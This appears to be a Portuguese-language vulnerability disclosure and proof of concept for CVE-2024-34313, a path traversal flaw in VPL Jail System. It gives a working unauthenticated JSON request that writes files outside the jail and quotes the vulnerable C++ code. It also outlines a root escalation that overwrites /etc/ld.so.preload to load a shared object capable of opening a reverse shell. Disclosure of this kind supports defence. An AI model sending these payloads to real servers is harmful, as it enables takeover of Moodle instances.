
☣️ This repository contains the description and a proof of concept for CVE-2024-34313
Foi descoberto que o VPL Jail System até a v4.0.2 contém uma vulnerabilidade de Path Traversal que permite a substituição arbitrária de arquivos e, consequentemente, escalada de privilégios para o usuário root.
Essa vulnerabilidade pode ser encadeada com a CVE-2024-34312 para assumir o controle de uma instância do Moodle remotamente sem necessidade de autenticação prévia.
O servidor jail é um servidor C++ que executa código não confiável em um ambiente isolado (sandbox) como um usuário sem privilégios. O servidor escuta conexões de entrada em uma porta especificada e cria um novo processo para cada conexão.
A função commandUpdate em jail.cpp recebe um mapa de arquivos e seus conteúdos do cliente.
ProcessMonitor::writeFile é chamada com o nome do arquivo e seu conteúdo e simplesmente concatena o diretório home do usuário jail com o nome do arquivo para obter o caminho completo.
O arquivo é então gravado no sistema de arquivos usando Util::writeFile.
Isso permite que um atacante escreva arquivos arbitrários no sistema de arquivos por meio de path traversal.
Essa vulnerabilidade pode ser usada por um atacante para sobrescrever /etc/ld.so.preload com o caminho para um arquivo de objeto compartilhado que será carregado por todos os executáveis vinculados dinamicamente no sistema, conforme explicado aqui. Esse arquivo de objeto compartilhado pode então ser usado para executar código arbitrário como root, como gerar uma reverse shell. Para facilitar a exploração, o arquivo de objeto compartilhado também é carregado sempre que um binário setuid é executado, e a requisição ao servidor pode incluir um script que tentará executar um binário setuid, como o sudo, garantindo que o arquivo de objeto compartilhado seja carregado imediatamente.
Na configuração padrão do sistema jail, o atacante não precisa de nenhuma autenticação.
Um exemplo de payload para escrever "hello-world.txt" na raiz do sistema seria:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
O adminticket pode ser facilmente obtido enviando uma requisição não autenticada para o sistema jail. Apesar do nome, é apenas uma forma de token de sessão. Arquivos binários codificados em Base64 podem ser enviados definindo o fileencoding como 1.
O trecho de código vulnerável está listado abaixo.
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}